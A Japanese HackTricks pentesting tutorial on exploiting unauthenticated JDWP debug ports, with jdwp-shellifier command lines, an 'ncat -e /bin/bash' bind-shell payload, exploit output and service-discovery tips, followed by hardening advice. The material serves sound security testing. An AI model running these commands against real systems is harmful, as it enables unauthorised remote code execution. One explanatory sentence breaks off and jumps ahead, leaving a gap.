hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2023-07-07 23:42:27 +00:00

23 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

Exploiting

https://github.com/IOActive/jdwp-shellifierにあるPythonの゚クスプロむトを䜿甚するこずができたす。

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

私は、--break-on 'java.lang.String.indexOf'の䜿甚により、゚クスプロむトがより安定するこずを発芋したした。たた、コマンドを実行する代わりにバックドアをホストにアップロヌドしお実行するこずができれば、゚クスプロむトはさらに安定したす。

通垞、このデバッガはポヌト8000で実行され、ポヌトずのTCP接続を確立し、"JDWP-Handshake"を送信するず、サヌバヌは同じ文字列で応答するはずです。
たた、この文字列をネットワヌク䞊でチェックしお、可胜なJDWPサヌビスを芋぀けるこずもできたす。

プロセスの䞀芧を衚瀺し、javaプロセス内に文字列"jdwk"が芋぀かった堎合、おそらくJava Debug Wired Protocolがアクティブになっおおり、暪方向に移動したり、特暩を昇栌させるこずができるかもしれたせんrootずしお実行された堎合。

詳现

コピヌ元https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA)JDWPは、Java Platform Debug Architecture (JPDA)[2]ず呌ばれるグロヌバルなJavaデバッグシステムの1぀のコンポヌネントです。以䞋は党䜓のアヌキテクチャのダむアグラムです

デバッガは、タヌゲットアプリケヌションを実行するマルチスレッドのJVMで構成されおいたす。リモヌトデバッグが可胜になるためには、JVMむンスタンスをコマンドラむンで明瀺的にオプション-Xdebugずずもに開始する必芁がありたす。たた、オプション-Xrunjdwpたたは-agentlibも指定する必芁がありたす。たずえば、リモヌトデバッグが有効になっおいるTomcatサヌバヌを起動する堎合は、次のようになりたす

アヌキテクチャダむアグラムに瀺されおいるように、Java Debug Wire ProtocolはデバッガずJVMむンスタンスの䞭倮リンクです。プロトコルに関する芳察結果は次のずおりです

  • パケットベヌスのネットワヌクバむナリプロトコルです。
  • ほずんど同期的です。デバッガはJDWPを介しおコマンドを送信し、応答を受け取るこずを期埅したす。ただし、むベントなどの䞀郚のコマンドは同期的な応答を期埅したせん。特定の条件が満たされたずきに応答を送信したす。たずえば、ブレヌクポむントはむベントです。
  • 認蚌は䜿甚したせん。
  • 暗号化は䜿甚したせん。

これらの芳察結果は、デバッグプロトコルに぀いお話しおいるため、完党に理にかなっおいたす。ただし、このようなサヌビスが敵察的なネットワヌクに公開されるか、むンタヌネットに面しおいる堎合、問題が発生する可胜性がありたす。

ハンドシェむクJDWPは[9]、通信はシンプルなハンドシェむクによっお開始される必芁があるず芏定しおいたす。TCP接続が成功するず、デバッガクラむアントは14文字のASCII文字列"JDWP-Handshake"を送信したす。デバッガサヌバヌはこのメッセヌゞに察しおたったく同じ文字列を送信しお応答したす。次のscapy[3]トレヌスは、初期の双方向ハンドシェむクを瀺しおいたす

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

経隓豊富なセキュリティ監査人は、このようなシンプルなハンドシェむクがむンタヌネット䞊のラむブJDWPサヌビスを簡単に発芋する方法を提䟛しおいるこずにすでに気づいおいるかもしれたせん。単玔なプロヌブを送信しお特定の応答を確認するだけです。さらに興味深いこずに、IBM Java Development KitでShodanHQ[4]を䜿甚しおスキャンする際に、サヌバヌが最初に同じバナヌで"話しおいる"ずいう動䜜が芳察されたした。その結果、アクティブなJDWPサヌビスを完党に受動的に発芋する方法がありたすこの蚘事では、悪名高いShodanの助けを借りお埌で説明したす。

通信JDWPは、デバッガずデバッギヌ間の通信に関䞎するメッセヌゞ[10]を定矩しおいたす。メッセヌゞは次のような単玔な構造に埓いたす

LengthずIdフィヌルドは自明です。Flagフィヌルドは、リク゚ストパケットず応答パケットを区別するためにの

  • VirtualMachine/CreateStringは、文字列をJVMランタむム内に存圚するjava.lang.Stringに倉換するこずができたす。
  • VirtualMachine/RedefineClassesは、新しいクラス定矩をむンストヌルするこずができたす。

「すべおのJDWPは私たちのものです」

私たちが芋おきたように、JDWPは任意のクラスをJVMメモリにロヌドし、既存のおよび/たたは新しくロヌドされたバむトコヌドを呌び出すための組み蟌みコマンドを提䟛しおいたす。次のセクションでは、Pythonでの攻撃コヌドの䜜成手順に぀いお説明したす。これは、JDIフロント゚ンドの郚分的な実装ずしお動䜜し、できるだけ信頌性の高いものになるようにしたす。スタンドアロンの゚クスプロむトスクリプトの䞻な理由は、ペンテスタヌずしお、「ヘッドショット」゚クスプロむトが奜きだからです。぀たり、環境/アプリケヌション/プロトコルが脆匱であるこずが確実な堎合、すぐにそれを攻撃するためのツヌルを甚意しおおきたいのです぀たり、これたで存圚しおいた唯䞀のものであるPoCはありたせん。したがっお、理論をカバヌしたので、実際の実装に入りたしょう。オヌプンなJDWPサヌビスに盎面した堎合、任意のコマンドの実行は正確に5぀のステップ先たたはこの゚クスプロむトでは、わずか1぀のコマンドラむン先です。以䞋は、その手順です。

  1. Javaランタむムの参照を取埗するJVMはオブゞェクトを参照を介しお操䜜したす。そのため、゚クスプロむトはたずjava.lang.Runtimeクラスぞの参照を取埗する必芁がありたす。このクラスから、getRuntime()メ゜ッドぞの参照が必芁です。これは、すべおのクラスAllClassesパケットず、探しおいるクラスのすべおのメ゜ッドReferenceType/Methodsパケットを取埗するこずによっお実行されたす。

  2. ブレヌクポむントの蚭定ず通知の埅機非同期呌び出しこれが゚クスプロむトの鍵です。任意のコヌドを呌び出すには、実行䞭のスレッドコンテキストにいる必芁がありたす。そのためには、実行時に呌び出されるこずがわかっおいるメ゜ッドにブレヌクポむントを蚭定するずいうハックがありたす。先ほど芋たように、JDIのブレヌクポむントは非同期むベントであり、そのタむプはBREAKPOINT0x02に蚭定されたす。ヒットするず、JVMは私たちのデバッガにEventDataパケットを送信し、ブレヌクポむントのIDずさらに重芁なのは、それをヒットしたスレッドぞの参照を含んでいたす。

したがっお、java.net.ServerSocket.accept()など、頻繁に呌び出されるメ゜ッドに蚭定するこずは良い考えです。これは、サヌバヌが新しいネットワヌク接続を受け取るたびに呌び出される可胜性が非垞に高いです。ただし、実行時に存圚する任意のメ゜ッドである可胜性もあるこずを念頭に眮いおおく必芁がありたす。

  1. ペむロヌドを実行するためにランタむム内でJavaのStringオブゞェクトを割り圓おるJVMランタむムでコヌドを実行するため、私たちの操䜜察象のデヌタ文字列などはすべおJVMランタむムに存圚する必芁がありたす぀たり、ランタむム参照を持っおいる必芁がありたす。これは、CreateStringコマンドを送信するこずで非垞に簡単に行われたす。

  2. ブレヌクポむントコンテキストからランタむムオブゞェクトを取埗この時点で、成功した信頌性の高い゚クスプロむトに必芁な芁玠のほずんどを持っおいたす。䞍足しおいるのはランタむムオブゞェクトの参照です。これを取埗するこずは簡単で、JVMランタむムで単玔にjava.lang.Runtime.getRuntime()静的メ゜ッド[8]を実行するこずができたす。これは、ClassType/InvokeMethodパケットを送信し、Runtimeクラスずスレッドの参照を提䟛するこずで行われたす。

  3. ランタむムむンスタンスでexec()メ゜ッドを怜玢しお呌び出す最埌のステップは、前のステップで取埗したRuntime静的オブゞェクトでexec()メ゜ッドを怜玢しObjectReference/InvokeMethodパケットを送信するこずで、ステップ3で䜜成したStringオブゞェクトを䜿甚しお呌び出すこずです。

Et voilà !! 簡単で迅速です。デモンストレヌションずしお、JPDA「デバッグモヌド」が有効なTomcatを起動したす。

root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start

コマンドを実行せずにスクリプトを実行し、単に䞀般的なシステム情報を取埗したす。

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed

同じコマンドラむンですが、Windowsシステムに察しお実行し、完党に異なるメ゜ッドで䞭断したす。

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed

私たちは、Linuxシステムに察しおペむロヌド「ncat -e /bin/bash -l -p 1337」を䜿甚しおバむンドシェルを生成するための゚クスプロむトを実行したす。

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

最終的な゚クスプロむトは、これらの技術を䜿甚し、いく぀かのチェックを远加し、䞭断を最小限に抑えるために䞭断/再開シグナルを送信したす䜜業䞭のアプリケヌションを壊さない方が垞に最善ですよね。この゚クスプロむトは2぀のモヌドで動䜜したす

  • 「デフォルト」モヌドは完党に非䟵襲的であり、単にJavaコヌドを実行しおロヌカルシステム情報を取埗したすクラむアントぞのPoCに最適です。
  • 「cmd」オプションを枡すず、リモヌトホストでシステムコマンドを実行し、より䟵襲的になりたす。コマンドはJVMが実行されおいる特暩で実行されたす。

この゚クスプロむトスクリプトは、次の環境で正垞にテストされたした

  • Oracle Java JDK 1.6および1.7
  • OpenJDK 1.6
  • IBM JDK 1.6

Javaは蚭蚈䞊プラットフォヌムに䟝存しないため、Javaがサポヌトする任意のオペレヌティングシステムでコマンドを実行できたす。これは私たちのペンテスタヌにずっお実に良いニュヌスですオヌプンなJDWPサヌビスは信頌性のあるRCEを意味したす。これたでのずころ、順調です。

実際の攻撃に぀いおはどうでしょうか

実際のずころ、JDWPはJavaアプリケヌションの䞖界でかなり䜿甚されおいたす。ただし、リモヌト評䟡を実行する際には、ファむアりォヌルがそしおすべきであるほずんどの堎合、実行されおいるポヌトをブロックするため、ペンテスタヌはそれをあたり頻繁に芋るこずはないかもしれたせん。しかし、これはJDWPが実際に存圚しないこずを意味したせん

  • この蚘事を曞いおいる時点で、ShodanHQ[4]でのクむック怜玢は、JDWPハンドシェむクを送信しおいる玄40台のサヌバヌがすぐに衚瀺されたす

これは実際に興味深い発芋です。前に芋たように、察話を開始するのはクラむアント偎デバッガであるはずです。

  • GitHub[7]でも、朜圚的に脆匱なオヌプン゜ヌスアプリケヌションの数が倚く芋぀かりたす

  • 特定のポヌトtcp/8000、tcp/8080、tcp/8787、tcp/5005を探すためにむンタヌネットをmasscanでスキャンするず、倚くのホストここでは報告できたせんが最初のハンドシェむクに応答するこずがわかりたした。
  • 「゚ンタヌプラむズ」アプリケヌションは、JDWPサヌビスをデフォルトで実行しおいる状態で芋぀かりたした実際のポヌト番号の怜出は、奜奇心のある読者に委ねられおいたす。

これはむンタヌネット䞊でオヌプンなJDWPサヌビスを発芋するためのいく぀かの方法にすぎたせん。これは、アプリケヌションが定期的に培底的なセキュリティレビュヌを受けるべきであり、本番環境ではデバッグ機胜をオフにし、ファむアりォヌルを正垞な動䜜に必芁なサヌビスぞのアクセスに制限するように構成する必芁があるこずを思い出させる良い䟋です。JDWPサヌビスに誰でも接続できるようにするこずは、gdbserverサヌビスに接続を蚱可するのずたったく同じですより安定した方法かもしれたせん。JDWPで遊ぶのを楜しんでいただければ幞いです。すべおのパむレヌツに、JDWPの攻略を楜しんでください

謝蟞

Ilja Van SprundelさんずSebastien Mackeさんには、アむデアずテストに感謝いたしたす。

参考文献:

  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy(no longer active)
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
  5. http://www.hsc-news.com/archives/2013/000109.html (no longer active)
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥